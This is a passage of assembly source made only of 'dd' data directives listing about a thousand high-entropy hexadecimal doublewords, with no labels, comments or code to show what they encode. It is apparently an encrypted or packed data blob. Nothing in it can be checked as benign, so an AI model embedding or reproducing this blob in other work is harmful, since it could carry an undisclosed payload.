32598E5Eh, 0FE06CE29h dd 0B0BEB88h, 6A259DE9h, 0C19B8201h, 0CB536F4h, 5A2D42BDh dd 65E93E01h, 592E82C5h, 490CC980h, 54300172h, 2608472h dd 0EDCDFE3Eh, 7A97FFB3h, 56250921h, 23240C74h, 9C048351h dd 0CEA9C8D1h, 0EE533A5Dh, 0FC5645E0h, 1F096ADh, 795297BFh dd 42FDFD16h, 0E840DDBFh, 0A005B165h, 548BE992h, 4B791FF3h dd 31EB01CBh, 2E295AD3h, 0A2EE4581h, 55193BFCh, 8019201h dd 0E636525Fh, 2758E909h, 0E0A4CA56h, 0D149F0A4h, 0A0B096Ch dd 62C0831Ah, 0F781D768h, 44F3C0D2h, 83B42FD4h, 0F808D02h dd 2E20A34Ch, 0BE8F776Bh, 60F0498Dh, 14465009h, 0A1580022h dd 606A568h, 4DE9F501h, 0C17664C8h, 134F0848h, 0A8015D56h dd 15FF929h, 0E9135333h, 5CDBB01Fh, 0ABE1F62Dh, 489E5A9h dd 0E9341568h, 0C02697D2h, 401F9C66h, 30E95FF8h, 455AEB67h dd 44127E62h, 6575A0B2h, 0E277D2B8h, 1A6E1266h, 0CA4C7F61h dd 0B769A805h, 52142748h dd 6E3E6812h, 598A81F2h, 2D6A3B9Ah, 19EB024Dh, 5C4351F2h dd 737E1B8Ah, 915A353Ch, 0A1DD4FE2h, 0AB415C0Eh, 6FA504CAh dd 31257680h, 0C9E927C2h, 0C5CA8B63h, 1C038FB0h, 0E95BA204h dd 28AADB3Ch, 27534699h, 2DC34CAFh, 5C5A84B7h, 7E18DAA9h dd 51D83108h, 0DB45001h, 2C58E188h, 19C81D30h, 5ED604E9h dd 0DE915729h, 313A3B61h, 1077FC1Ah, 74173A95h, 45532595h dd 0DEDBE942h, 8BF544A8h, 0EE83170Eh, 40840388h, 0C5905ADDh dd 2DBA5203h, 0F135577Eh, 0A62D6D40h, 0F05C7120h, 10FB91E8h dd 0A24BC038h, 0AB05A47Eh, 66C07B8Dh, 483EE781h, 0AC50E60Eh dd 0EE70056Ch, 9403E96Eh, 4153CB9Ah, 6E84199Dh, 0CFE94631h dd 0BE096616h, 0AFB1857Fh, 0E8ABCBEFh, 246EEAD0h, 2431E730h dd 0DA29C010h, 615B5BE9h, 0C2054993h, 0E0307834h, 68660FC3h dd 476F62E7h, 71D5D2D3h, 3958C749h, 1F981023h, 87FD8917h dd 4536A51Ah, 1E2CACB1h, 0B252CEF9h, 5AD02883h, 4204AE9Ch dd 0BC12DEA9h, 0F7DA1768h, 2C02E3D0h, 6083B006h, 94B614EDh dd 5A7AF028h, 320E8D2Eh, 0EF2067A8h, 28497DC4h, 7321CA07h dd 2C51604h, 2372B255h, 0A6EEA92Ch, 0C3201465h, 3A6857A0h dd 0E979CFA0h, 5ED5E134h, 71A1A301h, 0F604283h, 6B4E90h dd 0CD51EB96h, 0DDEEF53Fh, 8335EDF5h, 2F2AF255h, 10809477h dd 0BFB6031h, 1429E92Bh, 0F12F8BDAh, 205F664Ch, 70A07B33h dd 999AB61Eh, 4402ED30h, 0E084EC0h, 0D0F74875h, 25E8D160h dd 0DC0A42F3h, 8653E937h, 0E4CF84A9h, 74BA1DAFh, 6B64BE96h dd 85EF2DAAh, 5319E90Ch, 0BDA064ECh, 22503B6Fh, 0F872C58Ah dd 8A2EAD62h, 42D65CEEh, 185C1C8Bh, 24D3A743h, 15005F1Ch dd 6838E571h, 5BBDCC4Bh, 4F5E3C90h, 0B1C5C5D1h, 0DF5213E0h dd 6D578287h, 0A64189F2h, 3F68635Ch, 5E741751h, 6E10D3B6h dd 73307E55h, 58C29DB5h, 75E20381h, 536AF32Fh, 630E82F9h dd 685C046Eh, 0CFB84091h, 0DA4EB498h, 74C56AB4h, 44E66E97h dd 0EFC0035Fh, 77C78006h, 0F53D10DBh, 410A04BDh, 9A800113h dd 16DB0559h, 0A7CEB21h, 2C072D50h, 7BBA1A25h, 0C157BF0Ch dd 2EBEE4Ch, 8696FAF6h, 2F625E41h, 5859CC16h, 0E0885E0Dh dd 806BA25Fh, 0A658AB72h, 0D2B863h, 0A4ADCE7h, 7118E926h dd 0A06C449Dh, 30DC87Ch, 0D3F7656Ah, 20AED0E9h, 3DFBB905h dd 0BCE127FEh, 320FC06Ah, 0FAF30A98h, 8018D42h, 693F9EE9h dd 4B8D17A6h, 0FEF905A5h, 0EC023E06h, 89F526A4h, 0CC49C1D8h dd 5D68CB34h, 3C6BB8CBh, 0C3015521h, 2E2A2558h, 0E912589Fh dd 58F3FCDCh, 613389E0h, 296A5D6Dh, 19970B55h, 5E8B1DE9h dd 0A151C2DBh, 4C456826h, 0E9C4A57Ch, 5CB492BDh, 62C256F6h dd 1F24596Fh, 0D77A1868h, 0E082EA48h, 251CAE9Fh, 0E9085190h dd 68C32F07h, 0DF59808Ch, 1248334Eh, 17E138C1h, 681C7956h dd 583B7290h, 0C28B0D27h, 0D3545416h, 0B340EE83h, 0FB681653h dd 0B4F43016h, 7958B7A3h, 0BCE90922h, 0CB512Ah, 6FEF32F5h dd 5B00D989h, 5807D22Dh, 95C82924h, 41BB1619h, 0D0622D0Dh dd 5006436h, 10865638h, 0BFBFF4E9h, 9F5EBD32h, 80E1B260h dd 0F66116E2h, 0DA2E08D2h, 0CF78783Dh, 620F762Ch, 17F00244h dd 57EE4033h, 0D7F687BAh, 578C0BD7h, 7E733C1h, 0C79471Ch dd 12B75248h, 0BDAD539Ah, 0E9B36196h, 0EC28F3h, 2CE15705h dd 90C68914h, 4E9FFC42h, 625BD044h, 2D581777h, 59B4D81h dd 5156E189h, 62433AC0h, 0B940023Ah, 227E68CDh, 5B4BC8C3h dd 0CBC6F25h, 8718E9CEh, 5872C129h, 26CA5ADEh, 3B023A4Eh dd 75760E73h, 0B64A0F96h, 0F5DC781Eh, 24024403h, 605DD201h dd 472D219h, 0FDE90785h, 7C5B925h, 29E0017Bh, 546B41B2h dd 810480A6h, 683462CDh, 0BF21B76h, 0CEF9B503h, 0D95DEF29h dd 307F50A2h, 2B5CDED1h, 474F5612h, 70F753B4h, 6D625BCh dd 116CC922h, 0E2A6F449h, 5BAE1C5Dh, 5F030B46h, 953F8565h dd 3F1C49A4h, 95BC468h, 32E9DE01h, 315D3042h, 9C000978h dd 0B25969E9h, 28AD0743h, 0B4A26F01h, 40A276B3h, 0C0FE82B0h dd 2C38C8E4h, 0E9C60587h, 40AD0855h, 11F0D704h, 598482E2h dd 56ADF681h, 0EAFA8919h, 0F3DC0705h, 0B0146E93h, 1F672CCAh dd 0D2E96463h, 50E7F353h, 0FAF8086Ah, 595ACCBAh, 0CC3AB28Dh dd 6262A5F4h, 7EB2080Bh, 0CE686186h, 0D21D971Bh, 0C981F840h dd 767F1FD6h, 0B3F10508h, 8048AD26h, 0B62772A7h, 0DAC2AA5Fh dd 42E5545Dh, 69C8B1DBh, 807307ECh, 0E228E60Ch, 18500758h dd 0C3054B4h, 0D892CAFEh, 0AAEA9420h, 80544035h, 0D082429h dd 73F80222h, 2B403AA2h, 0C5974D05h, 0DE218C5Fh, 2EEF343h dd 21E1CE6Ch, 4C7F90B5h, 54963EBh, 540C774Bh, 0C2E9310Dh dd 0CB004169h, 2A42367Bh, 7E90EBC1h, 0CE97BF5Ah, 0D9126D90h dd 335A314Ch, 0B98A8Bh, 2F15AA0Dh, 6C002839h, 753D0151h dd 4E740EBh, 2D0F4071h, 328E48F9h, 0C420B1B1h, 0AC409C41h dd 127164F3h, 0A907E0F8h, 0C36BCD3Ah, 0B53B26C9h, 627CA7E2h dd 24646671h, 9D4AC6ABh, 0E116D3E5h, 0D4222C23h, 0CDF40DAh dd 0BAF290B7h, 7A7716D7h, 70B30062h, 155E376h, 536CE7B0h dd 9B5F9B53h, 47C7031Eh, 0D0D8D420h, 7777314Ch, 0B2C7149Dh dd 9A6812EFh, 0E5DAF84Ah, 0C8E25409h, 9DAF0FACh, 603BE390h dd 4A3C06B9h, 7F1208F2h, 3C60A020h, 246C5E41h, 3D756103h dd 0B325C601h, 0D65A1458h, 4002290Ch, 0A858A40Eh, 0E93E1461h dd 25A81AF9h, 20AC2530h, 39420579h, 2552CBFAh, 3642BAA0h dd 6596736Ch, 9158D902h, 0E9375273h, 2D604547h, 2445564Fh dd 2030F129h, 0D35E5308h, 0B0616F62h, 26BCAC0Ah, 0BB9E2FC6h dd 47175544h, 181002FAh, 0B0E077FBh, 626F5FC5h, 0D0A380DEh dd 5C09F94Ah, 0ED0013DDh, 6D5A4880h, 839FE8E9h, 0B9CE214Ch dd 606B36FBh, 4C0EC792h, 0E56DEE26h, 8A0723Ch, 374AF1E9h dd 5450A631h, 0C909C060h, 8082CEE3h, 0A3847E9Ah, 7BC6B2FAh dd 84973CF2h, 7B875760h, 8B4C54B9h, 0A3B1544Bh, 96A3BE93h dd 12A251D3h, 0D20EF292h, 57EBB207h, 0E1E918E1h, 2D1E7E2Ch dd 6BB08142h, 0FC0ED905h, 0F00C2910h, 0B7D8E953h, 5AD50028h dd 0FE78ED80h, 0DD77F6C5h, 2086F500h, 0B05059EEh, 0B9E91668h dd 51D18C62h, 2FF9EE9Dh, 0B5C6697Fh, 7BA36819h, 9D351BCBh dd 334C422Ch, 4190CD20h, 67119613h, 16F3C400h, 0A04C1D09h dd 14570DE9h, 0E3294DDBh, 0C1409F48h, 9EB8BF49h, 5BF5FFEh dd 99F8871Dh, 88AB0FC5h, 0AE44FE6Bh, 375E4A55h, 1BD9BB3Dh dd 6F095D92h, 5837A6C3h, 8669D17h, 0B5C098h, 0F3EE80CCh dd 75E67528h, 60A2FAC6h, 0DBC7D7BFh, 62094F0Fh, 25FF989h dd 14A8B00h, 663A7768h, 599812EEh, 15B0C913h, 177418D5h dd 715C0C36h, 284B6024h, 0E9213E12h, 2CF14C8Ah, 49400C84h dd 2B89C1D5h, 0B8228001h, 7931429h, 79820F05h, 0D8A513FEh dd 0A707102Dh, 8712C949h, 58A6A335h, 200F0D8Dh, 1F7E9E41h dd 65B14179h, 20011A4Ah, 8A1E9DCh, 775E3F5Eh, 0DF31C08Ch dd 7D7A5D0Ch, 17493F80h, 8F2EE91Ah, 57923E13h, 130F5914h dd 0FD016A37h, 69407E97h, 17A46E30h, 53621D27h, 44D001F3h dd 80724A2Dh, 0B62AE70Ch, 5B7BE93Fh, 54CAD3E6h, 0EE7D77FEh dd 953D7826h, 0BCE492BEh, 7E50E4B3h, 6CEE8228h, 9DE04220h dd 66A8872Fh, 0C145802Fh dd 959317B3h, 25B83F00h, 7809FD3Dh, 0E84458E9h, 81DFA355h dd 324E888h, 0F198667Fh, 1F0867Fh, 0D314E93Ah, 84844CFFh dd 0F11668FEh, 0FC6AE05Fh, 9B2763BBh, 0CEE19AC2h, 0B88A202Bh dd 86D6F60Ah, 661237F3h, 0EB02D233h, 5B17276Ch, 0C69D4878h dd 403B984Eh, 0F896581Fh, 2CC10243h, 10E05F5Ah, 0B5E34A60h dd 8134C14Eh, 911A75Fh, 22D98125h, 9FF86E1Ah, 0E0F1CA14h dd 259503FBh, 40E95EE8h, 84FB790Ah, 77AA6D6Ah, 3036B305h dd 61D47903h, 0DF493E86h, 0E111903Bh, 9BA84C68h, 93E35384h dd 0D14C8CF6h, 12977128h, 0B2937DB4h, 0A58CDEAh, 5E36BB00h dd 0E38179CFh, 0C0260ED0h, 6CBC133h, 50208E89h, 0B031498h dd 3D040CDDh, 40BE6E09h, 0BFEFEAAFh, 28B88015h, 8E685A1Fh dd 437D182Fh, 0C7F8F6EFh, 19E955EFh, 895B8CA2h, 0EF19ABD6h dd 2224F8F0h, 3B14B5F0h, 0BF1C6AF7h, 13BFA2Ah, 7924A4DAh dd 8FB25287h, 0ACD025F5h, 953C6856h, 6FBDDB18h, 799C5C00h dd 5302E5C1h, 56701EBBh, 6EAF23Dh, 6BC0CB60h, 43333026h dd 545FCC02h, 2338600Ch, 0AFB25C77h, 95E9DD1Ch, 29492D49h dd 1E4B9E49h, 0C2DA128Ah, 48FB50CEh, 62E2A53Eh, 0C96FDBDFh dd 99169C04h, 2B736513h, 4ECDF8D8h, 33BFF059h, 0C8227482h dd 135493C0h, 0D22083Ch, 44B9BA03h, 85F7BAD1h, 0B5F8EBA1h dd 8161645Eh, 24AF2E6Eh, 0B6610FC6h, 5D92688Ah, 0CE10883Bh dd 1971AB5Fh, 5B70C380h, 0ABCBEBEBh, 0ECA41566h, 97161C02h dd 4D50F309h, 866809ADh, 0E9C47164h, 0D8B3BBB8h, 20CAB8A9h dd 165A66C5h, 8320F88Eh, 0B411498h, 3792E8Bh, 545FE494h dd 632E2E8Dh, 0D408274h, 0F3419CF5h, 379BEA41h, 58C17BF4h dd 0B90F08E2h, 14427411h, 76E839E9h, 0B5EE62B2h, 8564F4Ah dd 77BF8F03h, 291CD321h, 1A42A90h, 721E49C3h, 5BD8FCB1h dd 0E9C00905h, 0D78CED19h, 0C6F09C5Ah, 0E89F3F0Bh, 0C00715EEh dd 62C5EA6Dh, 1286A7Ah, 8818BFAh, 3392585Fh, 41313ACCh dd 23085FFDh, 0D8045347h, 3CBE494Fh, 31B707EBh, 82D825C3h dd 2904BA1Eh, 0AE6FE0D3h, 49269A53h, 317D8CE7h, 0C6E5AAB8h dd 784EFC30h, 587D54B0h, 0EED1A783h, 6BEC2810h, 4DD67E01h dd 6809A2D5h, 0CB7431D3h, 12150663h, 6902BF1Bh, 0EF2C7E1Ah dd 5F68165Eh, 1183F30Ah, 0CD27DA9Dh, 0E427A196h, 2016666Bh dd 5D5F4ED9h, 1348ADDAh, 2A211D27h, 6006081Fh, 1E9A64DFh dd 28FB3139h, 0EA98A6DFh, 0A0A5E248h, 4B0F6855h, 40D68C6Dh dd 1E0FE3F2h, 25DB2548h, 5F04746h, 41380305h, 0F6351D32h dd 0E0BC7B9Bh, 985541h, 0F12E6020h, 4820DC70h, 0F01DEA04h dd 539B2D2Ch, 9BD0E883h, 3A4BA6E9h, 89A8A134h, 1210C78Fh dd 3E5DDBE9h, 61A9C84Ah, 6CAF50C4h, 0EC61E940h, 179E68DFh dd 0B09F5396h, 0D13CF610h, 985A3980h, 3F0CBEE1h, 9DF89020h dd 306F34C0h, 12EBFA58h, 8E3CD188h, 54F7CB09h, 0A6932916h dd 770B4B26h, 0A968904Ah, 0C04C83FBh, 0B02A20D0h, 27326907h dd 5AFCF303h, 18EAC100h, 0B85E77EDh, 12E71617h, 2460BC88h dd 61824050h, 4557EF05h, 9BF0AF30h, 2BE65001h, 4F02EFC1h dd 52527131h, 1470F4F7h, 0C94AA01h, 9C719500h, 0BBE95D64h dd 294CD49Ah, 0B2562D19h, 0F08652C2h, 95A5FFDEh, 0E92DE294h dd 31DD00D8h, 0C0558C6h, 48E44B0Fh, 7A12D32h, 2466BC5Eh dd 7D1759E0h, 0EAC4D6D4h, 0F45AB092h, 223C747h, 247461F8h dd 796D14h, 0E60EE403h, 0E75FFA31h, 0A5D0047Bh, 9921DA8h dd 6885EEBDh, 4CE1F4D8h, 0E8234897h, 5B82B55Dh, 6CBAF029h dd 7068AF81h, 0CD3D2C42h, 0C2F41F2Ch, 2B09353h, 0F8B3C10h dd 0C8902FF8h, 0B156B702h, 6A76E938h, 57AD5513h, 43693409h dd 67532162h, 0B3BEC3Ah, 66787119h, 805D7284h, 9938FE3Ah dd 34E0764Fh, 71557BE9h, 0CF29247Dh, 0F5505A0Fh, 0DFF73131h dd 0A5348FE9h, 0F0ED7F80h, 9AC85598h, 0C1F03BF8h, 80D5F60Ch dd 0EC28F4C5h, 989AA2F8h, 0C2022C2Fh, 888D79E4h, 0E0A50A38h dd 27575319h, 1D484752h, 6A1A1131h, 7C11013Ch, 995E452Ch dd 678D6E24h, 0CE496209h, 0B6A4F33Ch, 0C2F24AA7h, 2B65B880h dd 480C08AFh, 0F60BD55h, 7414EE9h, 72535CA6h, 3F68B75Dh dd 5A123CCEh, 9D1F6B71h, 716DB15Ch, 0A7748D2Ch, 39043010h dd 56466054h, 3F02BE7Ah, 0EAE91C4Dh, 941A7648h, 4E20A106h dd 34C28018h, 4C082506h, 0E2B72CD5h, 2863A4E5h, 0B36802E4h dd 2F20CC28h, 0F2E8B501h, 0AB754ED6h, 5B767F6h, 2C8E5495h dd 0A669DD4Ah, 0BCE87472h, 353B52A7h, 804EF647h, 0C9FE0820h dd 12690FF4h, 936B0589h, 283BB0B1h, 0F44038A7h, 247509BBh dd 530546C0h, 0C85BA9D6h, 6311B33h, 0C1420C40h, 612E83Eh dd 4D65E9C8h, 55661C2Ch, 8FBAC752h, 39897509h, 2029F19Eh dd 5DEA0232h, 9B423CEFh, 3EA66612h, 0EE1E0C5Fh, 31D6DB28h dd 0F3D38BB9h, 0BE6605C5h, 6827720h, 2DBF003Bh, 254E58F8h dd 0FD23CC6h, 5C3171ECh, 0EB0ACB2Fh, 51590C08h, 659518FCh dd 5A520866h, 17D25816h, 0F8B2504Dh, 0B4500053h, 8042B3B2h dd 281C92EBh, 27E9E3h, 638D2DCBh, 0F754004Eh, 7DB735D8h dd 0FE9CBFC5h, 0F90C122Dh, 0DF6C6945h, 5ACC2D54h, 0D3168996h dd 7A73E0B3h, 6442CE1h, 0AD669F6Dh, 0A5EF0F22h, 42EF907Fh dd 816500D3h, 0A3190F2h, 9B32E911h, 0F05B22EFh, 6E1B0954h dd 0E1D879C6h, 63095E90h, 810B6A6Dh, 2A806866h, 46027E36h dd 930836Eh, 0D73C10C1h, 0FB9C158h, 85E8FD89h, 8953D266h dd 7FE17125h, 5010E97Ch, 51BB02F3h, 896FD438h, 0D15EE8D7h dd 0C7D7A0E3h, 0CEA90961h, 20E07AE9h, 0F90CB850h, 641FCA2Eh dd 1EE0B117h, 122335A6h, 996CF983h, 43AA1072h, 41D8CC65h dd 0AC041AB2h, 4F89A9A5h, 25ED5AB5h, 9586B7B0h, 0A65B08D4h dd 1B0908A0h, 1A4B5EF3h, 0FBE43C0h, 0C37480B7h, 60BF3C53h dd 3FA01C6Bh, 12062CCh, 710882FBh, 0C188817Dh, 3DDC68h dd 0B7DDB6E9h, 41288939h, 0D7CAA7h, 1FF68059h, 423E2C4Ch dd 71B151F0h, 0B652AAE0h, 2A599158h, 204874CAh, 0A4E4840Bh dd 754BB00h, 96C0273Eh, 0E601382h, 33E125E9h, 0CE2686A2h dd 0B63DFAE5h, 9F38A937h, 0DFD2CACAh, 0C0A109BBh, 1481166Fh dd 0CA2AD988h, 0EEE9083Ah, 0B3241Ah, 82B252B0h, 347EB353h dd 0D1AA5C2Dh, 31272C6Fh, 31F801CDh, 53CE01B6h, 89833B29h dd 6E429881h, 0E9180C6Dh, 0C7B76034h, 651D9516h, 0B0322FF8h dd 2A40C543h, 0E5C4FEFh, 9B77C66h, 0BD2F4EE3h, 0F73B15C0h dd 8C83305Bh, 8201A281h, 9AE64B60h, 500969BCh, 0D66CA4F1h dd 0C694F25Ah, 3CF506A0h, 0A32429EEh, 0CAD9A58Bh, 5543AC21h dd 90BDAE9h, 68419C56h, 502A60B8h, 0A334A6A1h, 68358848h dd 753F7F32h, 44A6AF2Ah, 0BEB24B5Dh, 1D12F658h, 77B327C9h dd 0D028350Ah, 0E64081Eh, 296F4EECh, 0C6C8A11h, 42FB5844h dd 67D4E954h, 0D0090964h, 7E207563h, 0B9C0B0Dh, 8A483AD9h dd 0A0AF8DC2h, 19E4EEC0h, 11D2614h, 0C7370C02h, 6A9FC31Bh dd 13B58B5Eh, 0D0B606E5h, 0BE0AD111h, 0E125F1B6h, 0FC280E6Eh dd 0F4E75558h, 8EC4E1CCh, 2611F150h, 5E765253h, 0E940D159h dd 0AD027A15h, 60387A29h, 82D8423Ah, 59C4987Eh, 0AD357AA8h dd 0AC49131Ch, 0D2EC935Eh, 0E6421188h, 0E46604B6h, 0DC40545Ch dd 75C82A68h, 0A431208Ch dd 4BCE39Dh, 166FECECh, 4895BC35h, 0F31233FCh, 5088BBD2h dd 1E3B5C73h, 0C915F2E3h, 16FE164Ch, 0C7BA6664h, 0D18D6C93h dd 803BA258h, 14852DF8h, 7F7577CEh, 0BAF55D10h, 9F15F27h dd 927B8967h, 8285DF54h, 5BC249B8h, 7942D30Eh, 5DF63D03h dd 587CF700h, 4AE90D89h, 48C080F9h, 0F30B9D05h, 60096E6Dh dd 0B8FAEABEh, 1A12DA9h, 0F9256BD1h, 0F0E64B04h, 0C0255C77h dd 840DF102h, 0FD45AFE9h, 77B90004h, 0C15F536Fh, 940361EFh dd 2586E94Fh, 569504C1h, 0BB91A85h, 47D5B4Ah, 804109BEh dd 6B28F1F2h, 2C021A8Bh, 57CE92Bh, 6F29D2C8h, 0E462AAB7h dd 2D8F3E15h, 5D9A50B4h, 5210262Fh, 19AD3BD2h, 3124585Fh dd 0DC398747h, 4BC5001Bh, 0E9897263h, 2462920h, 0F3D00EBDh dd 0B0DF312Fh, 9D06E96Ah, 0A233C684h, 5F2109E4h, 49F4641Ch dd 0F7003A67h, 7EEC1D6h, 68015350h, 6F5D36B7h, 0E9C4435Bh dd 19969214h, 0B801C380h, 4C3E6093h, 83F32829h, 488AE962h dd 2C09351Bh, 136817BDh, 44F8E186h, 0D30FE840h, 885A6802h dd 0EAAE81CAh, 0A3316601h, 0C3A4D0F5h, 0B9028871h, 0BA95591Fh dd 8DBE24D0h, 0C000B516h, 0C250C4EEh, 0ACEEC52h, 3A424E91h dd 67032797h, 6EBAFE89h, 0AD96AB58h, 0B632646Fh, 0F9319FC9h dd 951FD9E4h, 0C72CEFE6h, 54740FAh, 67A5610h, 0D68145Fh dd 8B84156Ch, 82340BECh, 9AAA7FAEh, 8CCC78C4h, 0A084CCAh dd 0EFA10D84h, 54293B71h, 0EFAF843Bh, 0EFD4FF21h, 7C7A53ADh dd 0C44AC758h, 1BE2DBCDh, 0C0D30F77h, 0ACAA06E5h, 565A8EF7h dd 0B24977E4h, 0B85E35E8h, 1E88D9A1h, 0BB000815h, 54D835FDh dd 5BDD0031h, 2BCD8145h, 6ECB472Fh, 4FBF6011h, 0F7FD0287h dd 65DA68D5h, 326061FCh, 12337519h, 0B5EBE95Ah, 0DC3BD830h dd 582F6D2Dh, 9F56FCB5h, 8ED0E6ABh, 47502B2Fh, 0D22E3FF0h dd 0FCC24057h, 1909F970h, 8006E2C1h, 0A9D5451Fh, 168974E0h dd 0E7F799E9h, 7914897h, 508377D2h, 0BBD5EFBh, 0ACDE1675h dd 11C84263h, 1602C439h, 0DEACC330h, 0D4B5945Eh, 77680D7h dd 5EB87A53h, 4CE32020h, 24201C61h, 0D7215C4Ah, 5A00A018h dd 22020C05h, 0E8011F64h, 6507892Dh, 0E356160Ch, 0C689024Ch dd 55574DE9h, 0CA160DA2h, 0E19837C4h, 3D740C1h, 762C2E39h dd 0F275A1D2h, 754F0922h, 3020571Ah, 0FD015EF7h, 9F1C90h dd 566852B8h, 5C6C3D31h, 50C59BB3h, 0BE741AD8h, 65587226h dd 5F4002Dh, 3C276A94h, 7CA56851h, 1901A866h, 0E930285Ch dd 0AB24E001h, 55B03D8h, 13B849BAh, 3E1E93E9h, 4F55E0D8h dd 540C8C32h, 0F59A115Fh, 45DFF917h, 8559CFACh, 4136123Eh dd 0B397C70Fh, 0EFB7303Dh, 4B340A52h, 0FF4841CAh, 4EB46B7Bh dd 41529454h, 992F023Ch, 6C203AE1h, 0B6EB2810h, 0FD5B2FB7h dd 0D6DA8D8Bh, 41407AE0h, 3ABC49DEh, 0EC680586h, 45952016h dd 14BD5505h, 1EFA5906h, 0C1D27Ah, 0ECF581F4h, 64768756h dd 2A1F28F2h, 0ED0E27A1h, 521E524h, 0BE8524EAh, 62BF3E75h dd 2A480D8Fh, 0D52E6866h, 3062570Ch, 47947755h, 0D3FCED76h dd 822A57F3h, 374836F0h, 5BCF2096h, 4E707097h, 7DCFE3F4h dd 9D165A4Fh, 24D565A0h, 1683B72h, 5156DEF7h, 0FAE0406Dh dd 0BA5EACDBh, 0C12BC2B1h, 5528493h, 407ABCA1h, 0AE9F927Fh dd 0F90829AAh, 14033E9h, 51BD6655h, 0F14DD121h, 283E3505h dd 0F05F7BF8h, 0E80061B6h, 68C83110h, 6AB405BAh, 0EE95341h dd 55D3D92h, 4B1D7C15h, 8000C087h, 78B7405Bh, 56008FB8h dd 1B0FE7BEh, 58C68342h, 482F4F01h, 1856D192h, 0D3512089h dd 5FF98B13h, 126D90DEh, 3FF55A3Ah, 4CDF9655h, 1D843BD2h dd 249BA927h, 5F963E14h, 0D8A168FDh, 742002ABh, 73F50FB0h dd 0A4499C65h, 72F007A6h, 0AD8B659Ch, 9ACF449Dh, 4E74F672h dd 90F1B45Bh, 394961F2h, 10257E55h, 0C3F96A17h, 0D9BCE32Fh dd 5E6F9F59h, 6BAE647Ch, 0DF220323h, 0E05F6751h, 61C0133Ah dd 923E39F6h, 4893A02Ch, 73442417h, 52110623h, 0BA1E6883h dd 0BE42BC58h, 1F288E9h, 6042D2F7h, 0D91D4C1Ch, 0EF9DB120h dd 3C09341Ch, 0C7240501h, 0EF10817h, 9421C20Dh, 66CB2C6Bh dd 16BD2152h, 0FCBC9D20h, 8F7028C9h, 12F03692h, 3125FC9Eh dd 992E2DFCh, 0F3FE423Dh, 3496959h, 92E38887h, 45FC5EDDh dd 0C5D9D1BDh, 19172EE7h, 0C021E38Eh, 7AB26885h, 14C40899h dd 0BF7548D2h, 7F65526h, 59B1353Bh, 0E950D07Eh, 0E031BAB3h dd 0FA2BFED0h, 321D9008h, 7106F0C3h, 48C2FA5Eh, 1A25FF2Fh dd 761AA2EFh, 4D930558h, 0F88A5A4Eh, 20DDC144h, 0E91355F6h dd 0F9904D94h, 24E2469Eh, 0B29A5937h, 0B77332Eh, 25C1CE82h dd 0E88366E9h, 0C88061B1h, 0B97C0459h, 5B39E325h, 51ADBD72h dd 7B682460h, 2920524Eh, 2E33B050h, 101C74B5h, 0A93C5ACBh dd 51EA27E9h, 0C28083EAh, 7CB96111h, 0B34BDA13h, 0B050BDECh dd 9409503h, 0F19864ACh, 4B36E925h, 59D1B5CDh, 488E5E60h dd 5A8034ECh, 3504E0C1h, 34EC40Ch, 49E94FA5h, 0BA1CB649h dd 2F434F78h, 5706EA80h, 0F2342068h, 28BF8A42h, 3CE1E92Ah dd 0EAB75E73h, 209502Eh, 2FF37B2Dh, 0BEE285C0h, 2B4E1616h dd 0F02A5E8h, 13E950A7h, 0D594DD50h, 0FBA19AA2h, 2A67FDFBh dd 0C7090107h, 5CB1F674h, 0B325D02Bh, 845B0843h, 0CBCEA71Ch dd 0DBC3C959h, 16E98927h, 1C687A21h, 5B313A5Eh, 0CD8C36A8h dd 5A0A2243h, 387CC09Fh, 1CC93E06h, 0D2C8A792h, 7587FC1h dd 0B753510Fh, 547BE409h, 0EA2D0112h, 0ED7CE03Dh, 4CEE286Dh dd 52B50A8h, 573B5C1Eh, 30259FA4h, 9A2938C8h, 0E4DE80BFh dd 51F13807h, 0BF4461DEh, 229D2E18h, 2A75CD3Eh, 954835B3h dd 0D0F99D27h, 0FBE17996h, 0E6D79A6Ch, 2A61DBA4h, 58249B8Eh dd 0A3246B58h, 69F540A9h, 0A9BF87C9h, 0E247C20Eh, 4BB881D3h dd 0C26A1268h, 700B5567h, 907D3C5h, 0A6C4C9F6h, 0FE871AB7h dd 0A0FBEB7Fh, 11D3EF00h, 0EC01691Ch, 74B90751h, 0E07BF112h dd 4103A0E1h, 7727B9B0h, 0E45AE8E8h, 0D4D77D6Ch, 0C74DEF6Dh dd 143B074h, 54B353D8h, 0FD3CCB80h, 51126F4Dh, 27E98A6Ch dd 0C4C95AD9h, 4C686C6Ch, 11BF00F5h, 31481A78h, 7C42B8FDh dd 2F3996EAh, 7AB47D5Ah, 0C81E6C52h, 80024650h, 0C35978C7h dd 96AA480Ch, 12737338h, 0C8566968h, 0C2D251A7h, 9B03509h dd 581BC02Ah, 39022468h, 0D9026B7Ah, 0C80C3A2Bh, 7EB60252h dd 0EE80E6D0h, 401F1E60h, 31045395h, 0FC97B138h, 58B1D95Eh dd 5B2F79BFh, 2B0F3AB2h, 0E96DC01Dh, 0C8EB4EB5h, 517B0233h dd 72F45960h, 956D8B43h, 0C10E0C7Ah, 876EE42Fh, 679E03E6h dd 37066322h, 621C381Eh, 59D81427h, 426BE925h, 0B095DFBAh dd 9969E986h, 6D296086h, 272C765Bh, 32E42AE9h, 680408C3h dd 0E905638Eh, 75AE5619h, 0E40A03Dh, 90A93749h, 5CB93988h dd 0BE1CD2C1h, 0C87A0828h, 0C6E9280Ah, 92A098B4h, 2E35D409h dd 5B082B26h, 0FFD1C972h, 81C38162h, 5332E922h, 0D96E5D2Fh dd 3FF9EDDCh, 0B3131ECBh, 0E02AC9DEh, 64969EC2h, 5A175AEAh dd 25E962F0h, 107932BBh, 3F153A88h, 0C22BF25Bh, 26FBE9h dd 9E5B07BEh, 0D25D607Ah, 70542537h, 9799B8D2h, 3FC198C1h dd 5C36AC21h, 0B693A52Ch, 0BC82F0Bh, 445B4ECAh, 28529814h dd 0E8B21754h, 5224BCB2h, 91A10C3h, 0F5D6B2Dh, 6DF454Bh dd 8B80EF24h, 6AB23FD8h dd 0CE30C4Dh, 53C1895h, 6231074Bh, 69125766h, 95BE4371h dd 9443B8Bh, 714D1668h, 982289C8h, 728E3A56h, 81746067h dd 1308D5E3h, 1C4B71FEh, 53332461h, 3EC584D9h, 0A9B575D5h dd 2DD64B28h, 288A2BC1h, 804BE916h, 7BD13564h, 0C8327A24h dd 0A7D42102h, 92274EFh, 7EE046E9h, 0AAF4D0B8h, 2EBE3700h dd 296A2A7Bh, 7A587DC6h, 1A03544Dh, 55524095h, 42286807h dd 92B57166h, 0A5D440A1h, 0BF0AC197h, 6E9E7ECAh, 0A9082512h dd 4DE02738h, 2095DBF7h, 68F6EAA6h, 